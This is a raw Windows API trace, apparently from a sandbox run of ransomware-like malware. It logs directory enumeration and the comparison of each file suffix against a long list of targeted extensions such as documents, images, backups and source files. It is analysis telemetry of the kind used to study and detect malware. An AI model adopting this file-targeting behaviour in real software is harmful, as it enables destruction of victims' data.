	[0181.197] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.197] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1
	[0181.197] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0
	[0181.198] FindClose (in: hFindFile=0x76ea68 | out: hFindFile=0x76ea68) returned 1
	[0181.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.198] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0181.198] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1
	[0181.198] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0
	[0181.198] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0181.198] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7034b0a0, ftCreationTime.dwHighDateTime=0x1d55c09, ftLastAccessTime.dwLowDateTime=0x6e5c78a0, ftLastAccessTime.dwHighDateTime=0x1d5738b, ftLastWriteTime.dwLowDateTime=0x6e5c78a0, ftLastWriteTime.dwHighDateTime=0x1d5738b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hart-changing-bills.exe", cAlternateFileName="HART-C~1.EXE")) returned 1
	[0181.198] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c498a0, ftCreationTime.dwHighDateTime=0x1d58361, ftLastAccessTime.dwLowDateTime=0xeb49bf80, ftLastAccessTime.dwHighDateTime=0x1d5d4ac, ftLastWriteTime.dwLowDateTime=0xeb49bf80, ftLastWriteTime.dwHighDateTime=0x1d5d4ac, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1
	[0181.198] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1
	[0181.198] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0181.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.199] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.199] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0181.199] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0181.199] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.199] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1
	[0181.199] lstrlenW (lpString="TableTextService.dll.mui") returned 24
	[0181.199] lstrlenW (lpString=".1cd") returned 4
	[0181.199] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.199] lstrlenW (lpString=".3ds") returned 4
	[0181.199] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0181.199] lstrlenW (lpString=".3fr") returned 4
	[0181.199] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0181.199] lstrlenW (lpString=".3g2") returned 4
	[0181.199] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0181.199] lstrlenW (lpString=".3gp") returned 4
	[0181.199] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0181.199] lstrlenW (lpString=".7z") returned 3
	[0181.199] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.199] lstrlenW (lpString=".accda") returned 6
	[0181.199] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0181.199] lstrlenW (lpString=".accdb") returned 6
	[0181.200] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0181.200] lstrlenW (lpString=".accdc") returned 6
	[0181.200] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0181.200] lstrlenW (lpString=".accde") returned 6
	[0181.200] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0181.200] lstrlenW (lpString=".accdt") returned 6
	[0181.200] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0181.200] lstrlenW (lpString=".accdw") returned 6
	[0181.200] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0181.200] lstrlenW (lpString=".adb") returned 4
	[0181.200] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".adp") returned 4
	[0181.200] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".ai") returned 3
	[0181.200] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0181.200] lstrlenW (lpString=".ai3") returned 4
	[0181.200] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".ai4") returned 4
	[0181.200] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".ai5") returned 4
	[0181.200] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".ai6") returned 4
	[0181.200] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".ai7") returned 4
	[0181.200] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".ai8") returned 4
	[0181.200] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".anim") returned 5
	[0181.200] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0181.200] lstrlenW (lpString=".arw") returned 4
	[0181.200] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0181.200] lstrlenW (lpString=".as") returned 3
	[0181.201] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0181.201] lstrlenW (lpString=".asa") returned 4
	[0181.201] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".asc") returned 4
	[0181.201] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".ascx") returned 5
	[0181.201] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0181.201] lstrlenW (lpString=".asm") returned 4
	[0181.201] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".asmx") returned 5
	[0181.201] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0181.201] lstrlenW (lpString=".asp") returned 4
	[0181.201] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".aspx") returned 5
	[0181.201] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0181.201] lstrlenW (lpString=".asr") returned 4
	[0181.201] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".asx") returned 4
	[0181.201] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".avi") returned 4
	[0181.201] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".avs") returned 4
	[0181.201] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".backup") returned 7
	[0181.201] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0181.201] lstrlenW (lpString=".bak") returned 4
	[0181.201] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".bay") returned 4
	[0181.201] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".bd") returned 3
	[0181.201] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0181.201] lstrlenW (lpString=".bin") returned 4
	[0181.201] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".bmp") returned 4
	[0181.201] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".bz2") returned 4
	[0181.201] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.201] lstrlenW (lpString=".c") returned 2
	[0181.202] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0181.202] lstrlenW (lpString=".cdr") returned 4
	[0181.202] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cer") returned 4
	[0181.202] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cf") returned 3
	[0181.202] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0181.202] lstrlenW (lpString=".cfc") returned 4
	[0181.202] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cfm") returned 4
	[0181.202] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cfml") returned 5
	[0181.202] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0181.202] lstrlenW (lpString=".cfu") returned 4
	[0181.202] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".chm") returned 4
	[0181.202] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cin") returned 4
	[0181.202] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".class") returned 6
	[0181.202] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0181.202] lstrlenW (lpString=".clx") returned 4
	[0181.202] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".config") returned 7
	[0181.202] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0181.202] lstrlenW (lpString=".cpp") returned 4
	[0181.202] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cr2") returned 4
	[0181.202] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".crt") returned 4
	[0181.202] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".crw") returned 4
	[0181.202] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0181.202] lstrlenW (lpString=".cs") returned 3
	[0181.202] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0181.202] lstrlenW (lpString=".css") returned 4
	[0181.202] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".csv") returned 4
	[0181.203] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".cub") returned 4
	[0181.203] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dae") returned 4
	[0181.203] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dat") returned 4
	[0181.203] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".db") returned 3
	[0181.203] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0181.203] lstrlenW (lpString=".dbf") returned 4
	[0181.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dbx") returned 4
	[0181.203] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dc3") returned 4
	[0181.203] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dcm") returned 4
	[0181.203] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dcr") returned 4
	[0181.203] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".der") returned 4
	[0181.203] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dib") returned 4
	[0181.203] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dic") returned 4
	[0181.203] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".dif") returned 4
	[0181.203] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".divx") returned 5
	[0181.203] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0181.203] lstrlenW (lpString=".djvu") returned 5
	[0181.203] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0181.203] lstrlenW (lpString=".dng") returned 4
	[0181.203] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".doc") returned 4
	[0181.203] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.203] lstrlenW (lpString=".docm") returned 5
	[0181.204] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0181.204] lstrlenW (lpString=".docx") returned 5
	[0181.204] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.204] lstrlenW (lpString=".dot") returned 4
	[0181.204] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dotm") returned 5
	[0181.204] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0181.204] lstrlenW (lpString=".dotx") returned 5
	[0181.204] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0181.204] lstrlenW (lpString=".dpx") returned 4
	[0181.204] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dqy") returned 4
	[0181.204] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dsn") returned 4
	[0181.204] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dt") returned 3
	[0181.204] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0181.204] lstrlenW (lpString=".dtd") returned 4
	[0181.204] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dwg") returned 4
	[0181.204] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dwt") returned 4
	[0181.204] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".dx") returned 3
	[0181.204] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0181.204] lstrlenW (lpString=".dxf") returned 4
	[0181.204] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".edml") returned 5
	[0181.204] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0181.204] lstrlenW (lpString=".efd") returned 4
	[0181.204] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".elf") returned 4
	[0181.204] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".emf") returned 4
	[0181.204] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0181.204] lstrlenW (lpString=".emz") returned 4
	[0181.204] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".epf") returned 4
	[0181.205] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".eps") returned 4
	[0181.205] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".epsf") returned 5
	[0181.205] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0181.205] lstrlenW (lpString=".epsp") returned 5
	[0181.205] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0181.205] lstrlenW (lpString=".erf") returned 4
	[0181.205] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".exr") returned 4
	[0181.205] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".f4v") returned 4
	[0181.205] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".fido") returned 5
	[0181.205] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0181.205] lstrlenW (lpString=".flm") returned 4
	[0181.205] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".flv") returned 4
	[0181.205] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".frm") returned 4
	[0181.205] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".fxg") returned 4
	[0181.205] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".geo") returned 4
	[0181.205] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".gif") returned 4
	[0181.205] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".grs") returned 4
	[0181.205] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0181.205] lstrlenW (lpString=".gz") returned 3
	[0181.205] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0181.206] lstrlenW (lpString=".h") returned 2
	[0181.206] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0181.206] lstrlenW (lpString=".hdr") returned 4
	[0181.206] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".hpp") returned 4
	[0181.206] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".hta") returned 4
	[0181.206] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".htc") returned 4
	[0181.206] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".htm") returned 4
	[0181.206] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".html") returned 5
	[0181.206] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0181.206] lstrlenW (lpString=".icb") returned 4
	[0181.206] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".ics") returned 4
	[0181.206] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".iff") returned 4
	[0181.206] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".inc") returned 4
	[0181.206] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".indd") returned 5
	[0181.206] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0181.206] lstrlenW (lpString=".ini") returned 4
	[0181.206] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".iqy") returned 4
	[0181.206] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".j2c") returned 4
	[0181.206] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".j2k") returned 4
	[0181.206] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0181.206] lstrlenW (lpString=".java") returned 5
	[0181.206] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0181.207] lstrlenW (lpString=".jp2") returned 4
	[0181.207] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".jpc") returned 4
	[0181.207] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".jpe") returned 4
	[0181.207] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".jpeg") returned 5
	[0181.207] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0181.207] lstrlenW (lpString=".jpf") returned 4
	[0181.207] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".jpg") returned 4
	[0181.207] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".jpx") returned 4
	[0181.207] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".js") returned 3
	[0181.207] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0181.207] lstrlenW (lpString=".jsf") returned 4
	[0181.207] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".json") returned 5
	[0181.207] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0181.207] lstrlenW (lpString=".jsp") returned 4
	[0181.207] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".kdc") returned 4
	[0181.207] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".kmz") returned 4
	[0181.207] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".kwm") returned 4
	[0181.207] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".lasso") returned 6
	[0181.207] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
